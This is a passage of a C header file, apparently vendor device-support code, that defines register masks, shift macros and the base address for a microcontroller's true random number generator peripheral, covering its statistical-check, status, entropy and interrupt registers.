#define TRNG_TOTSAM_TOT_SAM_SHIFT (0U)
#define TRNG_TOTSAM_TOT_SAM(x) (((uint32_t)(((uint32_t)(x)) << TRNG_TOTSAM_TOT_SAM_SHIFT)) & TRNG_TOTSAM_TOT_SAM_MASK)
/*! @name FRQMIN - TRNG Frequency Count Minimum Limit Register */
#define TRNG_FRQMIN_FRQ_MIN_MASK (0x3FFFFFU)
#define TRNG_FRQMIN_FRQ_MIN_SHIFT (0U)
#define TRNG_FRQMIN_FRQ_MIN(x) (((uint32_t)(((uint32_t)(x)) << TRNG_FRQMIN_FRQ_MIN_SHIFT)) & TRNG_FRQMIN_FRQ_MIN_MASK)
/*! @name FRQCNT - TRNG Frequency Count Register */
#define TRNG_FRQCNT_FRQ_CT_MASK (0x3FFFFFU)
#define TRNG_FRQCNT_FRQ_CT_SHIFT (0U)
#define TRNG_FRQCNT_FRQ_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_FRQCNT_FRQ_CT_SHIFT)) & TRNG_FRQCNT_FRQ_CT_MASK)
/*! @name FRQMAX - TRNG Frequency Count Maximum Limit Register */
#define TRNG_FRQMAX_FRQ_MAX_MASK (0x3FFFFFU)
#define TRNG_FRQMAX_FRQ_MAX_SHIFT (0U)
#define TRNG_FRQMAX_FRQ_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_FRQMAX_FRQ_MAX_SHIFT)) & TRNG_FRQMAX_FRQ_MAX_MASK)
/*! @name SCMC - TRNG Statistical Check Monobit Count Register */
#define TRNG_SCMC_MONO_CT_MASK (0xFFFFU)
#define TRNG_SCMC_MONO_CT_SHIFT (0U)
#define TRNG_SCMC_MONO_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCMC_MONO_CT_SHIFT)) & TRNG_SCMC_MONO_CT_MASK)
/*! @name SCML - TRNG Statistical Check Monobit Limit Register */
#define TRNG_SCML_MONO_MAX_MASK (0xFFFFU)
#define TRNG_SCML_MONO_MAX_SHIFT (0U)
#define TRNG_SCML_MONO_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCML_MONO_MAX_SHIFT)) & TRNG_SCML_MONO_MAX_MASK)
#define TRNG_SCML_MONO_RNG_MASK (0xFFFF0000U)
#define TRNG_SCML_MONO_RNG_SHIFT (16U)
#define TRNG_SCML_MONO_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCML_MONO_RNG_SHIFT)) & TRNG_SCML_MONO_RNG_MASK)
/*! @name SCR1C - TRNG Statistical Check Run Length 1 Count Register */
#define TRNG_SCR1C_R1_0_CT_MASK (0x7FFFU)
#define TRNG_SCR1C_R1_0_CT_SHIFT (0U)
#define TRNG_SCR1C_R1_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR1C_R1_0_CT_SHIFT)) & TRNG_SCR1C_R1_0_CT_MASK)
#define TRNG_SCR1C_R1_1_CT_MASK (0x7FFF0000U)
#define TRNG_SCR1C_R1_1_CT_SHIFT (16U)
#define TRNG_SCR1C_R1_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR1C_R1_1_CT_SHIFT)) & TRNG_SCR1C_R1_1_CT_MASK)
/*! @name SCR1L - TRNG Statistical Check Run Length 1 Limit Register */
#define TRNG_SCR1L_RUN1_MAX_MASK (0x7FFFU)
#define TRNG_SCR1L_RUN1_MAX_SHIFT (0U)
#define TRNG_SCR1L_RUN1_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR1L_RUN1_MAX_SHIFT)) & TRNG_SCR1L_RUN1_MAX_MASK)
#define TRNG_SCR1L_RUN1_RNG_MASK (0x7FFF0000U)
#define TRNG_SCR1L_RUN1_RNG_SHIFT (16U)
#define TRNG_SCR1L_RUN1_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR1L_RUN1_RNG_SHIFT)) & TRNG_SCR1L_RUN1_RNG_MASK)
/*! @name SCR2C - TRNG Statistical Check Run Length 2 Count Register */
#define TRNG_SCR2C_R2_0_CT_MASK (0x3FFFU)
#define TRNG_SCR2C_R2_0_CT_SHIFT (0U)
#define TRNG_SCR2C_R2_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR2C_R2_0_CT_SHIFT)) & TRNG_SCR2C_R2_0_CT_MASK)
#define TRNG_SCR2C_R2_1_CT_MASK (0x3FFF0000U)
#define TRNG_SCR2C_R2_1_CT_SHIFT (16U)
#define TRNG_SCR2C_R2_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR2C_R2_1_CT_SHIFT)) & TRNG_SCR2C_R2_1_CT_MASK)
/*! @name SCR2L - TRNG Statistical Check Run Length 2 Limit Register */
#define TRNG_SCR2L_RUN2_MAX_MASK (0x3FFFU)
#define TRNG_SCR2L_RUN2_MAX_SHIFT (0U)
#define TRNG_SCR2L_RUN2_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR2L_RUN2_MAX_SHIFT)) & TRNG_SCR2L_RUN2_MAX_MASK)
#define TRNG_SCR2L_RUN2_RNG_MASK (0x3FFF0000U)
#define TRNG_SCR2L_RUN2_RNG_SHIFT (16U)
#define TRNG_SCR2L_RUN2_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR2L_RUN2_RNG_SHIFT)) & TRNG_SCR2L_RUN2_RNG_MASK)
/*! @name SCR3C - TRNG Statistical Check Run Length 3 Count Register */
#define TRNG_SCR3C_R3_0_CT_MASK (0x1FFFU)
#define TRNG_SCR3C_R3_0_CT_SHIFT (0U)
#define TRNG_SCR3C_R3_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR3C_R3_0_CT_SHIFT)) & TRNG_SCR3C_R3_0_CT_MASK)
#define TRNG_SCR3C_R3_1_CT_MASK (0x1FFF0000U)
#define TRNG_SCR3C_R3_1_CT_SHIFT (16U)
#define TRNG_SCR3C_R3_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR3C_R3_1_CT_SHIFT)) & TRNG_SCR3C_R3_1_CT_MASK)
/*! @name SCR3L - TRNG Statistical Check Run Length 3 Limit Register */
#define TRNG_SCR3L_RUN3_MAX_MASK (0x1FFFU)
#define TRNG_SCR3L_RUN3_MAX_SHIFT (0U)
#define TRNG_SCR3L_RUN3_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR3L_RUN3_MAX_SHIFT)) & TRNG_SCR3L_RUN3_MAX_MASK)
#define TRNG_SCR3L_RUN3_RNG_MASK (0x1FFF0000U)
#define TRNG_SCR3L_RUN3_RNG_SHIFT (16U)
#define TRNG_SCR3L_RUN3_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR3L_RUN3_RNG_SHIFT)) & TRNG_SCR3L_RUN3_RNG_MASK)
/*! @name SCR4C - TRNG Statistical Check Run Length 4 Count Register */
#define TRNG_SCR4C_R4_0_CT_MASK (0xFFFU)
#define TRNG_SCR4C_R4_0_CT_SHIFT (0U)
#define TRNG_SCR4C_R4_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR4C_R4_0_CT_SHIFT)) & TRNG_SCR4C_R4_0_CT_MASK)
#define TRNG_SCR4C_R4_1_CT_MASK (0xFFF0000U)
#define TRNG_SCR4C_R4_1_CT_SHIFT (16U)
#define TRNG_SCR4C_R4_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR4C_R4_1_CT_SHIFT)) & TRNG_SCR4C_R4_1_CT_MASK)
/*! @name SCR4L - TRNG Statistical Check Run Length 4 Limit Register */
#define TRNG_SCR4L_RUN4_MAX_MASK (0xFFFU)
#define TRNG_SCR4L_RUN4_MAX_SHIFT (0U)
#define TRNG_SCR4L_RUN4_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR4L_RUN4_MAX_SHIFT)) & TRNG_SCR4L_RUN4_MAX_MASK)
#define TRNG_SCR4L_RUN4_RNG_MASK (0xFFF0000U)
#define TRNG_SCR4L_RUN4_RNG_SHIFT (16U)
#define TRNG_SCR4L_RUN4_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR4L_RUN4_RNG_SHIFT)) & TRNG_SCR4L_RUN4_RNG_MASK)
/*! @name SCR5C - TRNG Statistical Check Run Length 5 Count Register */
#define TRNG_SCR5C_R5_0_CT_MASK (0x7FFU)
#define TRNG_SCR5C_R5_0_CT_SHIFT (0U)
#define TRNG_SCR5C_R5_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR5C_R5_0_CT_SHIFT)) & TRNG_SCR5C_R5_0_CT_MASK)
#define TRNG_SCR5C_R5_1_CT_MASK (0x7FF0000U)
#define TRNG_SCR5C_R5_1_CT_SHIFT (16U)
#define TRNG_SCR5C_R5_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR5C_R5_1_CT_SHIFT)) & TRNG_SCR5C_R5_1_CT_MASK)
/*! @name SCR5L - TRNG Statistical Check Run Length 5 Limit Register */
#define TRNG_SCR5L_RUN5_MAX_MASK (0x7FFU)
#define TRNG_SCR5L_RUN5_MAX_SHIFT (0U)
#define TRNG_SCR5L_RUN5_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR5L_RUN5_MAX_SHIFT)) & TRNG_SCR5L_RUN5_MAX_MASK)
#define TRNG_SCR5L_RUN5_RNG_MASK (0x7FF0000U)
#define TRNG_SCR5L_RUN5_RNG_SHIFT (16U)
#define TRNG_SCR5L_RUN5_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR5L_RUN5_RNG_SHIFT)) & TRNG_SCR5L_RUN5_RNG_MASK)
/*! @name SCR6PC - TRNG Statistical Check Run Length 6+ Count Register */
#define TRNG_SCR6PC_R6P_0_CT_MASK (0x7FFU)
#define TRNG_SCR6PC_R6P_0_CT_SHIFT (0U)
#define TRNG_SCR6PC_R6P_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR6PC_R6P_0_CT_SHIFT)) & TRNG_SCR6PC_R6P_0_CT_MASK)
#define TRNG_SCR6PC_R6P_1_CT_MASK (0x7FF0000U)
#define TRNG_SCR6PC_R6P_1_CT_SHIFT (16U)
#define TRNG_SCR6PC_R6P_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR6PC_R6P_1_CT_SHIFT)) & TRNG_SCR6PC_R6P_1_CT_MASK)
/*! @name SCR6PL - TRNG Statistical Check Run Length 6+ Limit Register */
#define TRNG_SCR6PL_RUN6P_MAX_MASK (0x7FFU)
#define TRNG_SCR6PL_RUN6P_MAX_SHIFT (0U)
#define TRNG_SCR6PL_RUN6P_MAX(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR6PL_RUN6P_MAX_SHIFT)) & TRNG_SCR6PL_RUN6P_MAX_MASK)
#define TRNG_SCR6PL_RUN6P_RNG_MASK (0x7FF0000U)
#define TRNG_SCR6PL_RUN6P_RNG_SHIFT (16U)
#define TRNG_SCR6PL_RUN6P_RNG(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SCR6PL_RUN6P_RNG_SHIFT)) & TRNG_SCR6PL_RUN6P_RNG_MASK)
/*! @name STATUS - TRNG Status Register */
#define TRNG_STATUS_TF1BR0_MASK (0x1U)
#define TRNG_STATUS_TF1BR0_SHIFT (0U)
#define TRNG_STATUS_TF1BR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF1BR0_SHIFT)) & TRNG_STATUS_TF1BR0_MASK)
#define TRNG_STATUS_TF1BR1_MASK (0x2U)
#define TRNG_STATUS_TF1BR1_SHIFT (1U)
#define TRNG_STATUS_TF1BR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF1BR1_SHIFT)) & TRNG_STATUS_TF1BR1_MASK)
#define TRNG_STATUS_TF2BR0_MASK (0x4U)
#define TRNG_STATUS_TF2BR0_SHIFT (2U)
#define TRNG_STATUS_TF2BR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF2BR0_SHIFT)) & TRNG_STATUS_TF2BR0_MASK)
#define TRNG_STATUS_TF2BR1_MASK (0x8U)
#define TRNG_STATUS_TF2BR1_SHIFT (3U)
#define TRNG_STATUS_TF2BR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF2BR1_SHIFT)) & TRNG_STATUS_TF2BR1_MASK)
#define TRNG_STATUS_TF3BR0_MASK (0x10U)
#define TRNG_STATUS_TF3BR0_SHIFT (4U)
#define TRNG_STATUS_TF3BR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF3BR0_SHIFT)) & TRNG_STATUS_TF3BR0_MASK)
#define TRNG_STATUS_TF3BR1_MASK (0x20U)
#define TRNG_STATUS_TF3BR1_SHIFT (5U)
#define TRNG_STATUS_TF3BR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF3BR1_SHIFT)) & TRNG_STATUS_TF3BR1_MASK)
#define TRNG_STATUS_TF4BR0_MASK (0x40U)
#define TRNG_STATUS_TF4BR0_SHIFT (6U)
#define TRNG_STATUS_TF4BR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF4BR0_SHIFT)) & TRNG_STATUS_TF4BR0_MASK)
#define TRNG_STATUS_TF4BR1_MASK (0x80U)
#define TRNG_STATUS_TF4BR1_SHIFT (7U)
#define TRNG_STATUS_TF4BR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF4BR1_SHIFT)) & TRNG_STATUS_TF4BR1_MASK)
#define TRNG_STATUS_TF5BR0_MASK (0x100U)
#define TRNG_STATUS_TF5BR0_SHIFT (8U)
#define TRNG_STATUS_TF5BR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF5BR0_SHIFT)) & TRNG_STATUS_TF5BR0_MASK)
#define TRNG_STATUS_TF5BR1_MASK (0x200U)
#define TRNG_STATUS_TF5BR1_SHIFT (9U)
#define TRNG_STATUS_TF5BR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF5BR1_SHIFT)) & TRNG_STATUS_TF5BR1_MASK)
#define TRNG_STATUS_TF6PBR0_MASK (0x400U)
#define TRNG_STATUS_TF6PBR0_SHIFT (10U)
#define TRNG_STATUS_TF6PBR0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF6PBR0_SHIFT)) & TRNG_STATUS_TF6PBR0_MASK)
#define TRNG_STATUS_TF6PBR1_MASK (0x800U)
#define TRNG_STATUS_TF6PBR1_SHIFT (11U)
#define TRNG_STATUS_TF6PBR1(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TF6PBR1_SHIFT)) & TRNG_STATUS_TF6PBR1_MASK)
#define TRNG_STATUS_TFSB_MASK (0x1000U)
#define TRNG_STATUS_TFSB_SHIFT (12U)
#define TRNG_STATUS_TFSB(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TFSB_SHIFT)) & TRNG_STATUS_TFSB_MASK)
#define TRNG_STATUS_TFLR_MASK (0x2000U)
#define TRNG_STATUS_TFLR_SHIFT (13U)
#define TRNG_STATUS_TFLR(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TFLR_SHIFT)) & TRNG_STATUS_TFLR_MASK)
#define TRNG_STATUS_TFP_MASK (0x4000U)
#define TRNG_STATUS_TFP_SHIFT (14U)
#define TRNG_STATUS_TFP(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TFP_SHIFT)) & TRNG_STATUS_TFP_MASK)
#define TRNG_STATUS_TFMB_MASK (0x8000U)
#define TRNG_STATUS_TFMB_SHIFT (15U)
#define TRNG_STATUS_TFMB(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_TFMB_SHIFT)) & TRNG_STATUS_TFMB_MASK)
#define TRNG_STATUS_RETRY_CT_MASK (0xF0000U)
#define TRNG_STATUS_RETRY_CT_SHIFT (16U)
#define TRNG_STATUS_RETRY_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_STATUS_RETRY_CT_SHIFT)) & TRNG_STATUS_RETRY_CT_MASK)
/*! @name ENT - TRNG Entropy Read Register */
#define TRNG_ENT_ENT_MASK (0xFFFFFFFFU)
#define TRNG_ENT_ENT_SHIFT (0U)
#define TRNG_ENT_ENT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_ENT_ENT_SHIFT)) & TRNG_ENT_ENT_MASK)
/* The count of TRNG_ENT */
#define TRNG_ENT_COUNT (16U)
/*! @name PKRCNT10 - TRNG Statistical Check Poker Count 1 and 0 Register */
#define TRNG_PKRCNT10_PKR_0_CT_MASK (0xFFFFU)
#define TRNG_PKRCNT10_PKR_0_CT_SHIFT (0U)
#define TRNG_PKRCNT10_PKR_0_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT10_PKR_0_CT_SHIFT)) & TRNG_PKRCNT10_PKR_0_CT_MASK)
#define TRNG_PKRCNT10_PKR_1_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNT10_PKR_1_CT_SHIFT (16U)
#define TRNG_PKRCNT10_PKR_1_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT10_PKR_1_CT_SHIFT)) & TRNG_PKRCNT10_PKR_1_CT_MASK)
/*! @name PKRCNT32 - TRNG Statistical Check Poker Count 3 and 2 Register */
#define TRNG_PKRCNT32_PKR_2_CT_MASK (0xFFFFU)
#define TRNG_PKRCNT32_PKR_2_CT_SHIFT (0U)
#define TRNG_PKRCNT32_PKR_2_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT32_PKR_2_CT_SHIFT)) & TRNG_PKRCNT32_PKR_2_CT_MASK)
#define TRNG_PKRCNT32_PKR_3_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNT32_PKR_3_CT_SHIFT (16U)
#define TRNG_PKRCNT32_PKR_3_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT32_PKR_3_CT_SHIFT)) & TRNG_PKRCNT32_PKR_3_CT_MASK)
/*! @name PKRCNT54 - TRNG Statistical Check Poker Count 5 and 4 Register */
#define TRNG_PKRCNT54_PKR_4_CT_MASK (0xFFFFU)
#define TRNG_PKRCNT54_PKR_4_CT_SHIFT (0U)
#define TRNG_PKRCNT54_PKR_4_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT54_PKR_4_CT_SHIFT)) & TRNG_PKRCNT54_PKR_4_CT_MASK)
#define TRNG_PKRCNT54_PKR_5_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNT54_PKR_5_CT_SHIFT (16U)
#define TRNG_PKRCNT54_PKR_5_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT54_PKR_5_CT_SHIFT)) & TRNG_PKRCNT54_PKR_5_CT_MASK)
/*! @name PKRCNT76 - TRNG Statistical Check Poker Count 7 and 6 Register */
#define TRNG_PKRCNT76_PKR_6_CT_MASK (0xFFFFU)
#define TRNG_PKRCNT76_PKR_6_CT_SHIFT (0U)
#define TRNG_PKRCNT76_PKR_6_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT76_PKR_6_CT_SHIFT)) & TRNG_PKRCNT76_PKR_6_CT_MASK)
#define TRNG_PKRCNT76_PKR_7_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNT76_PKR_7_CT_SHIFT (16U)
#define TRNG_PKRCNT76_PKR_7_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT76_PKR_7_CT_SHIFT)) & TRNG_PKRCNT76_PKR_7_CT_MASK)
/*! @name PKRCNT98 - TRNG Statistical Check Poker Count 9 and 8 Register */
#define TRNG_PKRCNT98_PKR_8_CT_MASK (0xFFFFU)
#define TRNG_PKRCNT98_PKR_8_CT_SHIFT (0U)
#define TRNG_PKRCNT98_PKR_8_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT98_PKR_8_CT_SHIFT)) & TRNG_PKRCNT98_PKR_8_CT_MASK)
#define TRNG_PKRCNT98_PKR_9_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNT98_PKR_9_CT_SHIFT (16U)
#define TRNG_PKRCNT98_PKR_9_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNT98_PKR_9_CT_SHIFT)) & TRNG_PKRCNT98_PKR_9_CT_MASK)
/*! @name PKRCNTBA - TRNG Statistical Check Poker Count B and A Register */
#define TRNG_PKRCNTBA_PKR_A_CT_MASK (0xFFFFU)
#define TRNG_PKRCNTBA_PKR_A_CT_SHIFT (0U)
#define TRNG_PKRCNTBA_PKR_A_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTBA_PKR_A_CT_SHIFT)) & TRNG_PKRCNTBA_PKR_A_CT_MASK)
#define TRNG_PKRCNTBA_PKR_B_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNTBA_PKR_B_CT_SHIFT (16U)
#define TRNG_PKRCNTBA_PKR_B_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTBA_PKR_B_CT_SHIFT)) & TRNG_PKRCNTBA_PKR_B_CT_MASK)
/*! @name PKRCNTDC - TRNG Statistical Check Poker Count D and C Register */
#define TRNG_PKRCNTDC_PKR_C_CT_MASK (0xFFFFU)
#define TRNG_PKRCNTDC_PKR_C_CT_SHIFT (0U)
#define TRNG_PKRCNTDC_PKR_C_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTDC_PKR_C_CT_SHIFT)) & TRNG_PKRCNTDC_PKR_C_CT_MASK)
#define TRNG_PKRCNTDC_PKR_D_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNTDC_PKR_D_CT_SHIFT (16U)
#define TRNG_PKRCNTDC_PKR_D_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTDC_PKR_D_CT_SHIFT)) & TRNG_PKRCNTDC_PKR_D_CT_MASK)
/*! @name PKRCNTFE - TRNG Statistical Check Poker Count F and E Register */
#define TRNG_PKRCNTFE_PKR_E_CT_MASK (0xFFFFU)
#define TRNG_PKRCNTFE_PKR_E_CT_SHIFT (0U)
#define TRNG_PKRCNTFE_PKR_E_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTFE_PKR_E_CT_SHIFT)) & TRNG_PKRCNTFE_PKR_E_CT_MASK)
#define TRNG_PKRCNTFE_PKR_F_CT_MASK (0xFFFF0000U)
#define TRNG_PKRCNTFE_PKR_F_CT_SHIFT (16U)
#define TRNG_PKRCNTFE_PKR_F_CT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_PKRCNTFE_PKR_F_CT_SHIFT)) & TRNG_PKRCNTFE_PKR_F_CT_MASK)
/*! @name SEC_CFG - TRNG Security Configuration Register */
#define TRNG_SEC_CFG_SH0_MASK (0x1U)
#define TRNG_SEC_CFG_SH0_SHIFT (0U)
#define TRNG_SEC_CFG_SH0(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SEC_CFG_SH0_SHIFT)) & TRNG_SEC_CFG_SH0_MASK)
#define TRNG_SEC_CFG_NO_PRGM_MASK (0x2U)
#define TRNG_SEC_CFG_NO_PRGM_SHIFT (1U)
#define TRNG_SEC_CFG_NO_PRGM(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SEC_CFG_NO_PRGM_SHIFT)) & TRNG_SEC_CFG_NO_PRGM_MASK)
#define TRNG_SEC_CFG_SK_VAL_MASK (0x4U)
#define TRNG_SEC_CFG_SK_VAL_SHIFT (2U)
#define TRNG_SEC_CFG_SK_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_SEC_CFG_SK_VAL_SHIFT)) & TRNG_SEC_CFG_SK_VAL_MASK)
/*! @name INT_CTRL - TRNG Interrupt Control Register */
#define TRNG_INT_CTRL_HW_ERR_MASK (0x1U)
#define TRNG_INT_CTRL_HW_ERR_SHIFT (0U)
#define TRNG_INT_CTRL_HW_ERR(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_CTRL_HW_ERR_SHIFT)) & TRNG_INT_CTRL_HW_ERR_MASK)
#define TRNG_INT_CTRL_ENT_VAL_MASK (0x2U)
#define TRNG_INT_CTRL_ENT_VAL_SHIFT (1U)
#define TRNG_INT_CTRL_ENT_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_CTRL_ENT_VAL_SHIFT)) & TRNG_INT_CTRL_ENT_VAL_MASK)
#define TRNG_INT_CTRL_FRQ_CT_FAIL_MASK (0x4U)
#define TRNG_INT_CTRL_FRQ_CT_FAIL_SHIFT (2U)
#define TRNG_INT_CTRL_FRQ_CT_FAIL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_CTRL_FRQ_CT_FAIL_SHIFT)) & TRNG_INT_CTRL_FRQ_CT_FAIL_MASK)
#define TRNG_INT_CTRL_UNUSED_MASK (0xFFFFFFF8U)
#define TRNG_INT_CTRL_UNUSED_SHIFT (3U)
#define TRNG_INT_CTRL_UNUSED(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_CTRL_UNUSED_SHIFT)) & TRNG_INT_CTRL_UNUSED_MASK)
/*! @name INT_MASK - TRNG Mask Register */
#define TRNG_INT_MASK_HW_ERR_MASK (0x1U)
#define TRNG_INT_MASK_HW_ERR_SHIFT (0U)
#define TRNG_INT_MASK_HW_ERR(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_MASK_HW_ERR_SHIFT)) & TRNG_INT_MASK_HW_ERR_MASK)
#define TRNG_INT_MASK_ENT_VAL_MASK (0x2U)
#define TRNG_INT_MASK_ENT_VAL_SHIFT (1U)
#define TRNG_INT_MASK_ENT_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_MASK_ENT_VAL_SHIFT)) & TRNG_INT_MASK_ENT_VAL_MASK)
#define TRNG_INT_MASK_FRQ_CT_FAIL_MASK (0x4U)
#define TRNG_INT_MASK_FRQ_CT_FAIL_SHIFT (2U)
#define TRNG_INT_MASK_FRQ_CT_FAIL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_MASK_FRQ_CT_FAIL_SHIFT)) & TRNG_INT_MASK_FRQ_CT_FAIL_MASK)
/*! @name INT_STATUS - TRNG Interrupt Status Register */
#define TRNG_INT_STATUS_HW_ERR_MASK (0x1U)
#define TRNG_INT_STATUS_HW_ERR_SHIFT (0U)
#define TRNG_INT_STATUS_HW_ERR(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_STATUS_HW_ERR_SHIFT)) & TRNG_INT_STATUS_HW_ERR_MASK)
#define TRNG_INT_STATUS_ENT_VAL_MASK (0x2U)
#define TRNG_INT_STATUS_ENT_VAL_SHIFT (1U)
#define TRNG_INT_STATUS_ENT_VAL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_STATUS_ENT_VAL_SHIFT)) & TRNG_INT_STATUS_ENT_VAL_MASK)
#define TRNG_INT_STATUS_FRQ_CT_FAIL_MASK (0x4U)
#define TRNG_INT_STATUS_FRQ_CT_FAIL_SHIFT (2U)
#define TRNG_INT_STATUS_FRQ_CT_FAIL(x) (((uint32_t)(((uint32_t)(x)) << TRNG_INT_STATUS_FRQ_CT_FAIL_SHIFT)) & TRNG_INT_STATUS_FRQ_CT_FAIL_MASK)
/*! @name VID1 - TRNG Version ID Register (MS) */
#define TRNG_VID1_MIN_REV_MASK (0xFFU)
#define TRNG_VID1_MIN_REV_SHIFT (0U)
#define TRNG_VID1_MIN_REV(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID1_MIN_REV_SHIFT)) & TRNG_VID1_MIN_REV_MASK)
#define TRNG_VID1_MAJ_REV_MASK (0xFF00U)
#define TRNG_VID1_MAJ_REV_SHIFT (8U)
#define TRNG_VID1_MAJ_REV(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID1_MAJ_REV_SHIFT)) & TRNG_VID1_MAJ_REV_MASK)
#define TRNG_VID1_IP_ID_MASK (0xFFFF0000U)
#define TRNG_VID1_IP_ID_SHIFT (16U)
#define TRNG_VID1_IP_ID(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID1_IP_ID_SHIFT)) & TRNG_VID1_IP_ID_MASK)
/*! @name VID2 - TRNG Version ID Register (LS) */
#define TRNG_VID2_CONFIG_OPT_MASK (0xFFU)
#define TRNG_VID2_CONFIG_OPT_SHIFT (0U)
#define TRNG_VID2_CONFIG_OPT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID2_CONFIG_OPT_SHIFT)) & TRNG_VID2_CONFIG_OPT_MASK)
#define TRNG_VID2_ECO_REV_MASK (0xFF00U)
#define TRNG_VID2_ECO_REV_SHIFT (8U)
#define TRNG_VID2_ECO_REV(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID2_ECO_REV_SHIFT)) & TRNG_VID2_ECO_REV_MASK)
#define TRNG_VID2_INTG_OPT_MASK (0xFF0000U)
#define TRNG_VID2_INTG_OPT_SHIFT (16U)
#define TRNG_VID2_INTG_OPT(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID2_INTG_OPT_SHIFT)) & TRNG_VID2_INTG_OPT_MASK)
#define TRNG_VID2_ERA_MASK (0xFF000000U)
#define TRNG_VID2_ERA_SHIFT (24U)
#define TRNG_VID2_ERA(x) (((uint32_t)(((uint32_t)(x)) << TRNG_VID2_ERA_SHIFT)) & TRNG_VID2_ERA_MASK)
/*!
* @}
*/ /* end of group TRNG_Register_Masks */
/* TRNG - Peripheral instance base addresses */
/** Peripheral TRNG base address */
#define TRNG_BASE (0x400A5000u)
/** Peripheral TRNG base pointer */
#define TRNG ((TRNG_Type *)TRNG_BASE)
/** Array initializer of TRNG peripheral base addresses */
#define TRNG_BASE_ADDRS { TRNG_BASE }
